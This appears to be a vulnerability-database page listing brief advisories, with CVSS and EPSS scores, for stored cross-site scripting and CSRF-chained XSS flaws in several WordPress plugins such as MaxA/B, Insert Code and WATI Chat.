CSRF vulnerability in the MaxA/B WordPress plugin (versions ≤2.2.2) chains into stored cross-site scripting, allowing remote attackers to inject malicious scripts into the WordPress admin interface via social engineering. The vulnerability requires user interaction (administrator must be tricked into visiting an attacker-controlled page while authenticated) but requires no authentication by the attacker. EPSS probability is low (0.05%, 14th percentile) indicating minimal observed exploitation attempts. No CISA KEV listing or public POC identified at time of analysis, suggesting limited real-world targeting.

XSS CSRF
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored XSS via CSRF in Insert Code WordPress plugin versions through 2.4 allows unauthenticated remote attackers to inject malicious scripts by tricking authenticated administrators into executing forged requests. The CSRF weakness (CWE-352) enables attackers to bypass normal access controls and store XSS payloads in the plugin's code insertion functionality. With CVSS 7.1 (High) and changed scope (S:C), successful exploitation impacts confidentiality, integrity, and availability across security boundaries. EPSS score of 0.05% (14th percentile) indicates low probability of mass exploitation, and no public exploit code or CISA KEV listing identified at time of analysis.

XSS CSRF
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in DevriX Hashtags WordPress plugin 0.3.2 and earlier allows remote attackers to inject malicious scripts via CSRF-chained attack. Unauthenticated attackers can trick authenticated administrators into executing malicious requests that persist XSS payloads in the application. EPSS score of 0.05% (14th percentile) indicates low automated exploitation likelihood despite network attack vector. No active exploitation confirmed via CISA KEV, though publicly available exploit code exists. Scope change in CVSS vector indicates malicious script executes in victim's browser context, enabling session hijacking or privilege escalation.

XSS CSRF
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Rodolphe MOULIN List Mixcloud allows Stored XSS. This issue affects List Mixcloud: from n/a through 1.4. [CVSS 6.5 MEDIUM]

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vivek Marakana Tabbed Login Widget allows Stored XSS. This issue affects Tabbed Login Widget: from n/a through 1.1.2. [CVSS 6.5 MEDIUM]

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in popeating Post Read Time allows Stored XSS. This issue affects Post Read Time: from n/a through 1.2.6. [CVSS 5.9 MEDIUM]

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in WordPress plugin WATI Chat and Notification versions through 1.1.2 can be triggered via CSRF attack, enabling attackers to inject persistent malicious scripts into the WordPress site. The vulnerability requires user interaction from an authenticated administrator but no direct authentication by the attacker, allowing scope change (S:C) that affects resources beyond the vulnerable component. EPSS score of 0.05% (14th percentile) indicates low current exploitation probability. Reported by Patchstack security research team, no CISA KEV listing or public POC identified at time of analysis.

XSS CSRF
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-site scripting (stored XSS) via CSRF in No Disposable Email WordPress plugin through version 2.5.1 allows remote attackers to inject malicious scripts into the site's database. An attacker tricks an authenticated administrator into submitting a crafted request, which bypasses CSRF protections and stores XSS payload that executes when other users access affected pages. EPSS score of 0.05% (14th percentile) indicates low probability of widespread exploitation, with no active exploitation (not in CISA KEV) or public POC identified at time of analysis.

XSS CSRF
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
38987

Related CWEs

MITRE ATT&CK

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